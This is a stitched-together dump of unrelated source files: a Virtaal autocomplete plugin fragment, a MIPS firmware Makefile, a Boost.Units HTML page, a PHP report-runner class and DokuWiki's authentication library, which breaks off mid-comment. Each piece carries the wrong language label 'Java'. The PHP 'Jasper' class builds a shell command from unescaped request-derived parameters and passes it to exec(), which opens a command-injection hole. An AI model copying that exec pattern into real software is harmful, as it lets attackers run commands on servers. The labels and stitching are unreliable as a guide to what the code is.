buffer.get_iter_at_offset(insert_offset + len(word_postfix)) buffer.select_range(sel_iter_start, sel_iter_end) return False gobject.idle_add(suggest_completion, priority=gobject.PRIORITY_HIGH) def _remove_textbox(self, textbox): """Remove the given L{TextBox} from the list of widgets to do auto-correction on. """ if not hasattr(self, '_textbox_insert_ids'): return # Disconnect the "insert-text" event handler textbox.disconnect(self._textbox_insert_ids[textbox]) self.widgets.remove(textbox) def _update_word_list(self): """Update and sort found words according to frequency.""" wordlist = self._word_freq.items() wordlist.sort(key=lambda x:x[1], reverse=True) self._word_list = [items[0] for items in wordlist] class Plugin(BasePlugin): description = _('Automatically complete long words while you type') display_name = _('AutoCompletor') version = 0.1 # INITIALIZERS # def __init__(self, internal_name, main_controller): self.internal_name = internal_name self.main_controller = main_controller self._init_plugin() def _init_plugin(self): from virtaal.common import pan_app self.autocomp = AutoCompletor(self.main_controller) self._store_loaded_id = self.main_controller.store_controller.connect('store-loaded', self._on_store_loaded) if self.main_controller.store_controller.get_store(): # Connect to already loaded store. This happens when the plug-in is enabled after loading a store. self._on_store_loaded(self.main_controller.store_controller) self._unitview_id = None unitview = self.main_controller.unit_controller.view if unitview.targets: self._connect_to_textboxes(unitview, unitview.targets) else: self._unitview_id = unitview.connect('targets-created', self._connect_to_textboxes) def _connect_to_textboxes(self, unitview, textboxes): for target in textboxes: self.autocomp.add_widget(target) # METHDOS # def destroy(self): """Remove all signal-connections.""" self.autocomp.clear_words() self.autocomp.clear_widgets() self.main_controller.store_controller.disconnect(self._store_loaded_id) if getattr(self, '_cursor_changed_id', None): self.store_cursor.disconnect(self._cursor_changed_id) if self._unitview_id: self.main_controller.unit_controller.view.disconnect(self._unitview_id) # EVENT HANDLERS # def _on_cursor_change(self, cursor): def add_widgets(): if hasattr(self, 'lastunit'): if self.lastunit.hasplural(): for target in self.lastunit.target: if target: #logging.debug('Adding words: %s' % (self.autocomp.wordsep_re.split(unicode(target)))) self.autocomp.add_words(self.autocomp.wordsep_re.split(unicode(target))) else: if self.lastunit.target: #logging.debug('Adding words: %s' % (self.autocomp.wordsep_re.split(unicode(self.lastunit.target)))) self.autocomp.add_words(self.autocomp.wordsep_re.split(unicode(self.lastunit.target))) self.lastunit = cursor.deref() gobject.idle_add(add_widgets) def _on_store_loaded(self, storecontroller): self.autocomp.add_words_from_units(storecontroller.get_store().get_units()) if hasattr(self, '_cursor_changed_id'): self.store_cursor.disconnect(self._cursor_changed_id) self.store_cursor = storecontroller.cursor self._cursor_changed_id = self.store_cursor.connect('cursor-changed', self._on_cursor_change) self._on_cursor_change(self.store_cursor)
Java
############################## Handle IRQ ############################# HAVE_UART = y ############################## TOOLS ############################# CROSS_COMPILE ?=mips-linux-gnu- CC = $(CROSS_COMPILE)gcc LD = $(CROSS_COMPILE)ld OBJCOPY = $(CROSS_COMPILE)objcopy drop-sections := .reginfo .mdebug .oomment .note .pdr .options .MIPS.options strip-flags := $(addprefix --remove-section=,$(drop-sections)) HEX_CFLAGS += -Iinclude HEX_CFLAGS += -nostdinc -Wall -Wundef -Werror-implicit-function-declaration \ -fno-common -EL -Os -march=mips32 -mabi=32 -G 0 -mno-abicalls -fno-pic HEX_CFLAGS += -DINTERFACE_NEMC HEX_LDFLAGS := -nostdlib -EL -T target.ld HEX_OBJCOPY_ARGS := -O elf32-tradlittlemips HEX_NAME := firmware_uart.hex OBJS := src/start.o \ src/delay.o \ src/main.o \ src/mcu_ops.o \ src/gpio.o \ ifeq ($(HAVE_UART), y) OBJS += src/uart.o HEX_CFLAGS += -DHANDLE_UART endif all: firmware.bin @hexdump -v -e '"0x" 1/4 "%08x" "," "\n"' $< > $(HEX_NAME) firmware.bin:firmware.o @$(LD) -nostdlib -EL -T target.ld $(OBJS) -Map tmp.map -o tmp.elf @$(OBJCOPY) $(strip-flags) $(HEX_OBJCOPY_ARGS) -O binary tmp.elf $@ firmware.o : $(OBJS) %.o:%.c $(CC) $(HEX_CFLAGS) -o $@ -c $^ %.o:%.S $(CC) $(HEX_CFLAGS) -o $@ -c $^ clean: @find . -name "*.o" | xargs rm -vf @find . -name "*.o.cmd" | xargs rm -vf @find . -name "*.hex" | xargs rm -vf @find . -name "*.bin" | xargs rm -vf @rm -vf tmp.map tmp.elf
Java
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Struct base_unit_info&lt;imperial::hundredweight_base_unit&gt;</title> <link rel="stylesheet" href="../../boostbook.css" type="text/css"> <meta name="generator" content="DocBook XSL Stylesheets V1.73.2"> <link rel="start" href="../../index.html" title="The Boost C++ Libraries BoostBook Documentation Subset"> <link rel="up" href="../../boost_units/Reference.html#header.boost.units.base_units.imperial.hundredweight_hpp" title="Header &lt;boost/units/base_units/imperial/hundredweight.hpp&gt;"> <link rel="prev" href="base_unit_info_imperial_id3820063.html" title="Struct base_unit_info&lt;imperial::grain_base_unit&gt;"> <link rel="next" href="base_unit_info_imperial_id3820171.html" title="Struct base_unit_info&lt;imperial::inch_base_unit&gt;"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table cellpadding="2" width="100%"><tr> <td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../boost.png"></td> <td align="center"><a href="../../../../index.html">Home</a></td> <td align="center"><a href="../../../../libs/libraries.htm">Libraries</a></td> <td align="center"><a href="http://www.boost.org/users/people.html">People</a></td> <td align="center"><a href="http://www.boost.org/users/faq.html">FAQ</a></td> <td align="center"><a href="../../../../more/index.htm">More</a></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="base_unit_info_imperial_id3820063.html"><img src="../../../../doc/html/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../boost_units/Reference.html#header.boost.units.base_units.imperial.hundredweight_hpp"><img src="../../../../doc/html/images/up.png" alt="Up"></a><a accesskey="h" href="../../index.html"><img src="../../../../doc/html/images/home.png" alt="Home"></a><a accesskey="n" href="base_unit_info_imperial_id3820171.html"><img src="../../../../doc/html/images/next.png" alt="Next"></a> </div> <div class="refentry" lang="en"> <a name="boost.units.base_unit_info_imperial_id3820117"></a><div class="titlepage"></div> <div class="refnamediv"> <h2><span class="refentrytitle">Struct base_unit_info&lt;imperial::hundredweight_base_unit&gt;</span></h2> <p>boost::units::base_unit_info&lt;imperial::hundredweight_base_unit&gt;</p> </div> <h2 xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv-title">Synopsis</h2> <div xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv"><pre class="synopsis"><span class="emphasis"><em>// In header: &lt;<a class="link" href="../../boost_units/Reference.html#header.boost.units.base_units.imperial.hundredweight_hpp" title="Header &lt;boost/units/base_units/imperial/hundredweight.hpp&gt;">boost/units/base_units/imperial/hundredweight.hpp</a>&gt; </em></span> <span class="bold"><strong>struct</strong></span> <a class="link" href="base_unit_info_imperial_id3820117.html" title="Struct base_unit_info&lt;imperial::hundredweight_base_unit&gt;">base_unit_info</a>&lt;imperial::hundredweight_base_unit&gt; { <span class="emphasis"><em>// <a class="link" href="base_unit_info_imperial_id3820117.html#id3820127-bb">public static functions</a></em></span> <span class="type"><span class="bold"><strong>static</strong></span> <span class="bold"><strong>const</strong></span> <span class="bold"><strong>char</strong></span> *</span> <a class="link" href="base_unit_info_imperial_id3820117.html#id3820130-bb">name</a>() ; <span class="type"><span class="bold"><strong>static</strong></span> <span class="bold"><strong>const</strong></span> <span class="bold"><strong>char</strong></span> *</span> <a class="link" href="base_unit_info_imperial_id3820117.html#id3820138-bb">symbol</a>() ; };</pre></div> <div class="refsect1" lang="en"> <a name="id4258688"></a><h2>Description</h2> <div class="refsect2" lang="en"> <a name="id4258691"></a><h3> <a name="id3820127-bb"></a><code class="computeroutput">base_unit_info</code> public static functions</h3> <div class="orderedlist"><ol type="1"> <li><pre class="literallayout"><span class="type"><span class="bold"><strong>static</strong></span> <span class="bold"><strong>const</strong></span> <span class="bold"><strong>char</strong></span> *</span> <a name="id3820130-bb"></a>name() ;</pre></li> <li><pre class="literallayout"><span class="type"><span class="bold"><strong>static</strong></span> <span class="bold"><strong>const</strong></span> <span class="bold"><strong>char</strong></span> *</span> <a name="id3820138-bb"></a>symbol() ;</pre></li> </ol></div> </div> </div> </div> <table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr> <td align="left"></td> <td align="right"><div class="copyright-footer">Copyright © 2003 -2008 Matthias Christian Schabel, 2007-2008 Steven Watanabe<p> Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at <a href="http://www.boost.org/LICENSE_1_0.txt" target="_top">http://www.boost.org/LICENSE_1_0.txt</a>) </p> </div></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="base_unit_info_imperial_id3820063.html"><img src="../../../../doc/html/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../boost_units/Reference.html#header.boost.units.base_units.imperial.hundredweight_hpp"><img src="../../../../doc/html/images/up.png" alt="Up"></a><a accesskey="h" href="../../index.html"><img src="../../../../doc/html/images/home.png" alt="Home"></a><a accesskey="n" href="base_unit_info_imperial_id3820171.html"><img src="../../../../doc/html/images/next.png" alt="Next"></a> </div> </body> </html>
Java
<?php namespace JasPhp; use JasPhp; Class Jasper { public static function makeJasperReport($module, $report, $parameters) { //print "java -jar ../lib/java/jasphp.jar $module $report $parameters";exit; exec("java -jar ../lib/java/dist/jasphp.jar $module $report $parameters", $return); //print_r($return);exit; return $return; } public static function readParameters($filters) { $arrparam = array(); foreach ($filters as $param => $val) { $arrparam[] = $param; $arrparam[] = $val; } $parametros = '"' . implode('" "', $arrparam) . '"'; return $parametros; } } ?>
Java
<?php /** * Authentication library * * Including this file will automatically try to login * a user by calling auth_login() * * @license GPL 2 (http://www.gnu.org/licenses/gpl.html) * @author Andreas Gohr <andi@splitbrain.org> */ if(!defined('DOKU_INC')) die('meh.'); // some ACL level defines define('AUTH_NONE', 0); define('AUTH_READ', 1); define('AUTH_EDIT', 2); define('AUTH_CREATE', 4); define('AUTH_UPLOAD', 8); define('AUTH_DELETE', 16); define('AUTH_ADMIN', 255); /** * Initialize the auth system. * * This function is automatically called at the end of init.php * * This used to be the main() of the auth.php * * @todo backend loading maybe should be handled by the class autoloader * @todo maybe split into multiple functions at the XXX marked positions * @triggers AUTH_LOGIN_CHECK * @return bool */ function auth_setup() { global $conf; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; global $AUTH_ACL; global $lang; /* @var Doku_Plugin_Controller $plugin_controller */ global $plugin_controller; $AUTH_ACL = array(); if(!$conf['useacl']) return false; // try to load auth backend from plugins foreach ($plugin_controller->getList('auth') as $plugin) { if ($conf['authtype'] === $plugin) { $auth = $plugin_controller->load('auth', $plugin); break; } elseif ('auth' . $conf['authtype'] === $plugin) { // matches old auth backends (pre-Weatherwax) $auth = $plugin_controller->load('auth', $plugin); msg('Your authtype setting is deprecated. You must set $conf[\'authtype\'] = "auth' . $conf['authtype'] . '"' . ' in your configuration (see <a href="https://www.dokuwiki.org/auth">Authentication Backends</a>)',-1,'','',MSG_ADMINS_ONLY); } } if(!isset($auth) || !$auth){ msg($lang['authtempfail'], -1); return false; } if ($auth->success == false) { // degrade to unauthenticated user unset($auth); auth_logoff(); msg($lang['authtempfail'], -1); return false; } // do the login either by cookie or provided credentials XXX $INPUT->set('http_credentials', false); if(!$conf['rememberme']) $INPUT->set('r', false); // handle renamed HTTP_AUTHORIZATION variable (can happen when a fix like // the one presented at // http://www.besthostratings.com/articles/http-auth-php-cgi.html is used // for enabling HTTP authentication with CGI/SuExec) if(isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) $_SERVER['HTTP_AUTHORIZATION'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION']; // streamline HTTP auth credentials (IIS/rewrite -> mod_php) if(isset($_SERVER['HTTP_AUTHORIZATION'])) { list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6))); } // if no credentials were given try to use HTTP auth (for SSO) if(!$INPUT->str('u') && empty($_COOKIE[DOKU_COOKIE]) && !empty($_SERVER['PHP_AUTH_USER'])) { $INPUT->set('u', $_SERVER['PHP_AUTH_USER']); $INPUT->set('p', $_SERVER['PHP_AUTH_PW']); $INPUT->set('http_credentials', true); } // apply cleaning (auth specific user names, remove control chars) if (true === $auth->success) { $INPUT->set('u', $auth->cleanUser(stripctl($INPUT->str('u')))); $INPUT->set('p', stripctl($INPUT->str('p'))); } if($INPUT->str('authtok')) { // when an authentication token is given, trust the session auth_validateToken($INPUT->str('authtok')); } elseif(!is_null($auth) && $auth->canDo('external')) { // external trust mechanism in place $auth->trustExternal($INPUT->str('u'), $INPUT->str('p'), $INPUT->bool('r')); } else { $evdata = array( 'user' => $INPUT->str('u'), 'password' => $INPUT->str('p'), 'sticky' => $INPUT->bool('r'), 'silent' => $INPUT->bool('http_credentials') ); trigger_event('AUTH_LOGIN_CHECK', $evdata, 'auth_login_wrapper'); } //load ACL into a global array XXX $AUTH_ACL = auth_loadACL(); return true; } /** * Loads the ACL setup and handle user wildcards * * @author Andreas Gohr <andi@splitbrain.org> * * @return array */ function auth_loadACL() { global $config_cascade; global $USERINFO; /* @var Input $INPUT */ global $INPUT; if(!is_readable($config_cascade['acl']['default'])) return array(); $acl = file($config_cascade['acl']['default']); $out = array(); foreach($acl as $line) { $line = trim($line); if(empty($line) || ($line{0} == '#')) continue; // skip blank lines & comments list($id,$rest) = preg_split('/[ \t]+/',$line,2); // substitute user wildcard first (its 1:1) if(strstr($line, '%USER%')){ // if user is not logged in, this ACL line is meaningless - skip it if (!$INPUT->server->has('REMOTE_USER')) continue; $id = str_replace('%USER%',cleanID($INPUT->server->str('REMOTE_USER')),$id); $rest = str_replace('%USER%',auth_nameencode($INPUT->server->str('REMOTE_USER')),$rest); } // substitute group wildcard (its 1:m) if(strstr($line, '%GROUP%')){ // if user is not logged in, grps is empty, no output will be added (i.e. skipped) foreach((array) $USERINFO['grps'] as $grp){ $nid = str_replace('%GROUP%',cleanID($grp),$id); $nrest = str_replace('%GROUP%','@'.auth_nameencode($grp),$rest); $out[] = "$nid\t$nrest"; } } else { $out[] = "$id\t$rest"; } } return $out; } /** * Event hook callback for AUTH_LOGIN_CHECK * * @param array $evdata * @return bool */ function auth_login_wrapper($evdata) { return auth_login( $evdata['user'], $evdata['password'], $evdata['sticky'], $evdata['silent'] ); } /** * This tries to login the user based on the sent auth credentials * * The authentication works like this: if a username was given * a new login is assumed and user/password are checked. If they * are correct the password is encrypted with blowfish and stored * together with the username in a cookie - the same info is stored * in the session, too. Additonally a browserID is stored in the * session. * * If no username was given the cookie is checked: if the username, * crypted password and browserID match between session and cookie * no further testing is done and the user is accepted * * If a cookie was found but no session info was availabe the * blowfish encrypted password from the cookie is decrypted and * together with username rechecked by calling this function again. * * On a successful login $_SERVER[REMOTE_USER] and $USERINFO * are set. * * @author Andreas Gohr <andi@splitbrain.org> * * @param string $user Username * @param string $pass Cleartext Password * @param bool $sticky Cookie should not expire * @param bool $silent Don't show error on bad auth * @return bool true on successful auth */ function auth_login($user, $pass, $sticky = false, $silent = false) { global $USERINFO; global $conf; global $lang; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; $sticky ? $sticky = true : $sticky = false; //sanity check if(!$auth) return false; if(!empty($user)) { //usual login if(!empty($pass) && $auth->checkPass($user, $pass)) { // make logininfo globally available $INPUT->server->set('REMOTE_USER', $user); $secret = auth_cookiesalt(!$sticky, true); //bind non-sticky to session auth_setCookie($user, auth_encrypt($pass, $secret), $sticky); return true; } else { //invalid credentials - log off if(!$silent) msg($lang['badlogin'], -1); auth_logoff(); return false; } } else { // read cookie information list($user, $sticky, $pass) = auth_getCookie(); if($user && $pass) { // we got a cookie - see if we can trust it // get session info $session = $_SESSION[DOKU_COOKIE]['auth']; if(isset($session) && $auth->useSessionCache($user) && ($session['time'] >= time() - $conf['auth_security_timeout']) && ($session['user'] == $user) && ($session['pass'] == sha1($pass)) && //still crypted ($session['buid'] == auth_browseruid()) ) { // he has session, cookie and browser right - let him in $INPUT->server->set('REMOTE_USER', $user); $USERINFO = $session['info']; //FIXME move all references to session return true; } // no we don't trust it yet - recheck pass but silent $secret = auth_cookiesalt(!$sticky, true); //bind non-sticky to session $pass = auth_decrypt($pass, $secret); return auth_login($user, $pass, $sticky, true); } } //just to be sure auth_logoff(true); return false; } /** * Checks if a given authentication token was stored in the session * * Will setup authentication data using data from the session if the * token is correct. Will exit with a 401 Status if not. * * @author Andreas Gohr <andi@splitbrain.org> * * @param string $token The authentication token * @return boolean|null true (or will exit on failure) */ function auth_validateToken($token) { if(!$token || $token != $_SESSION[DOKU_COOKIE]['auth']['token']) { // bad token http_status(401); print 'Invalid auth token - maybe the session timed out'; unset($_SESSION[DOKU_COOKIE]['auth']['token']); // no second chance exit; } // still here? trust the session data global $USERINFO; /* @var Input $INPUT */ global $INPUT; $INPUT->server->set('REMOTE_USER',$_SESSION[DOKU_COOKIE]['auth']['user']); $USERINFO = $_SESSION[DOKU_COOKIE]['auth']['info']; return true; } /** * Create an auth token and store it in the session * * NOTE: this is completely unrelated to the getSecurityToken() function * * @author Andreas Gohr <andi@splitbrain.org> * * @return string The auth token */ function auth_createToken() { $token = md5(auth_randombytes(16)); @session_start(); // reopen the session if needed $_SESSION[DOKU_COOKIE]['auth']['token'] = $token; session_write_close(); return $token; } /** * Builds a pseudo UID from browser and IP data * * This is neither unique nor unfakable - still it adds some * security. Using the first part of the IP makes sure * proxy farms like AOLs are still okay. * * @author Andreas Gohr <andi@splitbrain.org> * * @return string a MD5 sum of various browser headers */ function auth_browseruid() { /* @var Input $INPUT */ global $INPUT; $ip = clientIP(true); $uid = ''; $uid .= $INPUT->server->str('HTTP_USER_AGENT'); $uid .= $INPUT->server->str('HTTP_ACCEPT_CHARSET'); $uid .= substr($ip, 0, strpos($ip, '.')); $uid = strtolower($uid); return md5($uid); } /** * Creates a random key to encrypt the password in cookies * * This function tries to read the password for encrypting * cookies from $conf['metadir'].'/_htcookiesalt' * if no such file is found a random key is created and * and stored in this file. * * @author Andreas Gohr <andi@splitbrain.org> * * @param bool $addsession if true, the sessionid is added to the salt * @param bool $secure if security is more important than keeping the old value * @return string */ function auth_cookiesalt($addsession = false, $secure = false) { global $conf; $file = $conf['metadir'].'/_htcookiesalt'; if ($secure || !file_exists($file)) { $file = $conf['metadir'].'/_htcookiesalt2'; } $salt = io_readFile($file); if(empty($salt)) { $salt = bin2hex(auth_randombytes(64)); io_saveFile($file, $salt); } if($addsession) { $salt .= session_id(); } return $salt; } /** * Return truly (pseudo) random bytes if available, otherwise fall back to mt_rand * * @author Mark Seecof * @author Michael Hamann <michael@content-space.de> * @link http://www.php.net/manual/de/function.mt-rand.php#83655 * * @param int $length number of bytes to get * @return string binary random strings */ function auth_randombytes($length) { $strong = false; $rbytes = false; if (function_exists('openssl_random_pseudo_bytes') && (version_compare(PHP_VERSION, '5.3.4') >= 0 || strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') ) { $rbytes = openssl_random_pseudo_bytes($length, $strong); } if (!$strong && function_exists('mcrypt_create_iv') && (version_compare(PHP_VERSION, '5.3.7') >= 0 || strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') ) { $rbytes = mcrypt_create_iv($length, MCRYPT_DEV_URANDOM); if ($rbytes !== false && strlen($rbytes) === $length) { $strong = true; } } // If no strong randoms available, try OS the specific ways if(!$strong) { // Unix/Linux platform $fp = @fopen('/dev/urandom', 'rb'); if($fp !== false) { $rbytes = fread($fp, $length); fclose($fp); } // MS-Windows platform if(class_exists('COM')) { // http://msdn.microsoft.com/en-us/library/aa388176(VS.85).aspx try { $CAPI_Util = new COM('CAPICOM.Utilities.1'); $rbytes = $CAPI_Util->GetRandom($length, 0); // if we ask for binary data PHP munges it, so we // request base64 return value. if($rbytes) $rbytes = base64_decode($rbytes); } catch(Exception $ex) { // fail } } } if(strlen($rbytes) < $length) $rbytes = false; // still no random bytes available - fall back to mt_rand() if($rbytes === false) { $rbytes = ''; for ($i = 0; $i < $length; ++$i) { $rbytes .= chr(mt_rand(0, 255)); } } return $rbytes; } /** * Random number generator using the best available source * * @author Michael Samuel * @author Michael Hamann <michael@content-space.de> * * @param int $min * @param int $max * @return int */ function auth_random($min, $max) { $abs_max = $max - $min; $nbits = 0; for ($n = $abs_max; $n > 0; $n >>= 1) { ++$nbits; } $mask = (1 << $nbits) - 1; do { $bytes = auth_randombytes(PHP_INT_SIZE); $integers = unpack('Inum', $bytes); $integer = $integers["num"] & $mask; } while ($integer > $abs_max); return $min + $integer; } /** * Encrypt data using the given secret using AES * * The mode is CBC with a random initialization vector, the key is derived * using pbkdf2. * * @param string $data The data that shall be encrypted * @param string $secret The secret/password that shall be used * @return string The ciphertext */ function auth_encrypt($data, $secret) { $iv = auth_randombytes(16); $cipher = new Crypt_AES(); $cipher->setPassword($secret); /* this uses the encrypted IV as IV as suggested in http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf, Appendix C for unique but necessarily random IVs. The resulting ciphertext is compatible to ciphertext that was created using a "normal" IV. */ return $cipher->encrypt($iv.$data); } /** * Decrypt the given AES ciphertext * * The mode is CBC, the key is derived using pbkdf2 * * @param string $ciphertext The encrypted data * @param string $secret The secret/password that shall be used * @return string The decrypted data */ function auth_decrypt($ciphertext, $secret) { $iv = substr($ciphertext, 0, 16); $cipher = new Crypt_AES(); $cipher->setPassword($secret); $cipher->setIV($iv); return $cipher->decrypt(substr($ciphertext, 16)); } /** * Log out the current user * * This clears all authentication data and thus log the user * off. It also clears session data. * * @author Andreas Gohr <andi@splitbrain.org> * * @param bool $keepbc - when true, the breadcrumb data is not cleared */ function auth_logoff($keepbc = false) { global $conf; global $USERINFO; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; // make sure the session is writable (it usually is) @session_start(); if(isset($_SESSION[DOKU_COOKIE]['auth']['user'])) unset($_SESSION[DOKU_COOKIE]['auth']['user']); if(isset($_SESSION[DOKU_COOKIE]['auth']['pass'])) unset($_SESSION[DOKU_COOKIE]['auth']['pass']); if(isset($_SESSION[DOKU_COOKIE]['auth']['info'])) unset($_SESSION[DOKU_COOKIE]['auth']['info']); if(!$keepbc && isset($_SESSION[DOKU_COOKIE]['bc'])) unset($_SESSION[DOKU_COOKIE]['bc']); $INPUT->server->remove('REMOTE_USER'); $USERINFO = null; //FIXME $cookieDir = empty($conf['cookiedir']) ? DOKU_REL : $conf['cookiedir']; setcookie(DOKU_COOKIE, '', time() - 600000, $cookieDir, '', ($conf['securecookie'] && is_ssl()), true); if($auth) $auth->logOff(); } /** * Check if a user is a manager * * Should usually be called without any parameters to check the current * user. * * The info is available through $INFO['ismanager'], too * * @author Andreas Gohr <andi@splitbrain.org> * @see auth_isadmin * * @param string $user Username * @param array $groups List of groups the user is in * @param bool $adminonly when true checks if user is admin * @return bool */ function auth_ismanager($user = null, $groups = null, $adminonly = false) { global $conf; global $USERINFO; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; if(!$auth) return false; if(is_null($user)) { if(!$INPUT->server->has('REMOTE_USER')) { return false; } else { $user = $INPUT->server->str('REMOTE_USER'); } } if(is_null($groups)) { $groups = (array) $USERINFO['grps']; } // check superuser match if(auth_isMember($conf['superuser'], $user, $groups)) return true; if($adminonly) return false; // check managers if(auth_isMember($conf['manager'], $user, $groups)) return true; return false; } /** * Check if a user is admin * * Alias to auth_ismanager with adminonly=true * * The info is available through $INFO['isadmin'], too * * @author Andreas Gohr <andi@splitbrain.org> * @see auth_ismanager() * * @param string $user Username * @param array $groups List of groups the user is in * @return bool */ function auth_isadmin($user = null, $groups = null) { return auth_ismanager($user, $groups, true); } /** * Match a user and his groups against a comma separated list of * users and groups to determine membership status * * Note: all input should NOT be nameencoded. * * @param string $memberlist commaseparated list of allowed users and groups * @param string $user user to match against * @param array $groups groups the user is member of * @return bool true for membership acknowledged */ function auth_isMember($memberlist, $user, array $groups) { /* @var DokuWiki_Auth_Plugin $auth */ global $auth; if(!$auth) return false; // clean user and groups if(!$auth->isCaseSensitive()) { $user = utf8_strtolower($user); $groups = array_map('utf8_strtolower', $groups); } $user = $auth->cleanUser($user); $groups = array_map(array($auth, 'cleanGroup'), $groups); // extract the memberlist $members = explode(',', $memberlist); $members = array_map('trim', $members); $members = array_unique($members); $members = array_filter($members); // compare cleaned values foreach($members as $member) { if($member == '@ALL' ) return true; if(!$auth->isCaseSensitive()) $member = utf8_strtolower($member); if($member[0] == '@') { $member = $auth->cleanGroup(substr($member, 1)); if(in_array($member, $groups)) return true; } else { $member = $auth->cleanUser($member); if($member == $user) return true; } } // still here? not a member! return false; } /** * Convinience function for auth_aclcheck() * * This checks the permissions for the current user * * @author Andreas Gohr <andi@splitbrain.org> * * @param string $id page ID (needs to be resolved and cleaned) * @return int permission level */ function auth_quickaclcheck($id) { global $conf; global $USERINFO; /* @var Input $INPUT */ global $INPUT; # if no ACL is used always return upload rights if(!$conf['useacl']) return AUTH_UPLOAD; return auth_aclcheck($id, $INPUT->server->str('REMOTE_USER'), $USERINFO['grps']); } /** * Returns the maximum rights a user has for the given ID or its namespace * * @author Andreas Gohr <andi@splitbrain.org> * * @triggers AUTH_ACL_CHECK * @param string $id page ID (needs to be resolved and cleaned) * @param string $user Username * @param array|null $groups Array of groups the user is in * @return int permission level */ function auth_aclcheck($id, $user, $groups) { $data = array( 'id' => $id, 'user' => $user, 'groups' => $groups ); return trigger_event('AUTH_ACL_CHECK', $data, 'auth_aclcheck_cb'); } /** * default ACL check method * * DO NOT CALL DIRECTLY, use auth_aclcheck() instead * * @author Andreas Gohr <andi@splitbrain.org> * * @param array $data event data * @return int permission level */ function auth_aclcheck_cb($data) { $id =& $data['id']; $user =& $data['user']; $groups =& $data['groups']; global $conf; global $AUTH_ACL; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; // if no ACL is used always return upload rights if(!$conf['useacl']) return AUTH_UPLOAD; if(!$auth) return AUTH_NONE; //make sure groups is an array if(!is_array($groups)) $groups = array(); //if user is superuser or in superusergroup return 255 (acl_admin) if(auth_isadmin($user, $groups)) { return AUTH_ADMIN; } if(!$auth->isCaseSensitive()) { $user = utf8_strtolower($user); $groups = array_map('utf8_strtolower', $groups); } $user = $auth->cleanUser($user); $groups = array_map(array($auth, 'cleanGroup'), (array) $groups); $user = auth_nameencode($user); //prepend groups with @ and nameencode $cnt = count($groups); for($i = 0; $i < $cnt; $i++) { $groups[$i] = '@'.auth_nameencode($groups[$i]); } $ns = getNS($id); $perm = -1; if($user || count($groups)) { //add ALL group $groups[] = '@ALL'; //add User if($user) $groups[] = $user; } else { $groups[] = '@ALL'; } //check exact match first $matches = preg_grep('/^'.preg_quote($id, '/').'[ \t]+([^ \t]+)[ \t]+/', $AUTH_ACL); if(count($matches)) { foreach($matches as $match) { $match = preg_replace('/#.*$/', '', $match); //ignore comments $acl = preg_split('/[ \t]+/', $match); if(!$auth->isCaseSensitive() && $acl[1] !== '@ALL') { $acl[1] = utf8_strtolower($acl[1]); } if(!in_array($acl[1], $groups)) { continue; } if($acl[2] > AUTH_DELETE) $acl[2] = AUTH_DELETE; //no admins in the ACL! if($acl[2] > $perm) { $perm = $acl[2]; } } if($perm > -1) { //we had a match - return it return (int) $perm; } } //still here? do the namespace checks if($ns) { $path = $ns.':*'; } else { $path = '*'; //root document } do { $matches = preg_grep('/^'.preg_quote($path, '/').'[ \t]+([^ \t]+)[ \t]+/', $AUTH_ACL); if(count($matches)) { foreach($matches as $match) { $match = preg_replace('/#.*$/', '', $match); //ignore comments $acl = preg_split('/[ \t]+/', $match); if(!$auth->isCaseSensitive() && $acl[1] !== '@ALL') { $acl[1] = utf8_strtolower($acl[1]); } if(!in_array($acl[1], $groups)) { continue; } if($acl[2] > AUTH_DELETE) $acl[2] = AUTH_DELETE; //no admins in the ACL! if($acl[2] > $perm) { $perm = $acl[2]; } } //we had a match - return it if($perm != -1) { return (int) $perm; } } //get next higher namespace $ns = getNS($ns); if($path != '*') { $path = $ns.':*'; if($path == ':*') $path = '*'; } else { //we did this already //looks like there is something wrong with the ACL //break here msg('No ACL setup yet! Denying access to everyone.'); return AUTH_NONE; } } while(1); //this should never loop endless return AUTH_NONE; } /** * Encode ASCII special chars * * Some auth backends allow special chars in their user and groupnames * The special chars are encoded with this function. Only ASCII chars * are encoded UTF-8 multibyte are left as is (different from usual * urlencoding!). * * Decoding can be done with rawurldecode * * @author Andreas Gohr <gohr@cosmocode.de> * @see rawurldecode() * * @param string $name * @param bool $skip_group * @return string */ function auth_nameencode($name, $skip_group = false) { global $cache_authname; $cache =& $cache_authname; $name = (string) $name; // never encode wildcard FS#1955 if($name == '%USER%') return $name; if($name == '%GROUP%') return $name; if(!isset($cache[$name][$skip_group])) { if($skip_group && $name{0} == '@') { $cache[$name][$skip_group] = '@'.preg_replace_callback( '/([\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f])/', 'auth_nameencode_callback', substr($name, 1) ); } else { $cache[$name][$skip_group] = preg_replace_callback( '/([\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f])/', 'auth_nameencode_callback', $name ); } } return $cache[$name][$skip_group]; } /** * callback encodes the matches * * @param array $matches first complete match, next matching subpatterms * @return string */ function auth_nameencode_callback($matches) { return '%'.dechex(ord(substr($matches[1],-1))); } /** * Create a pronouncable password * * The $foruser 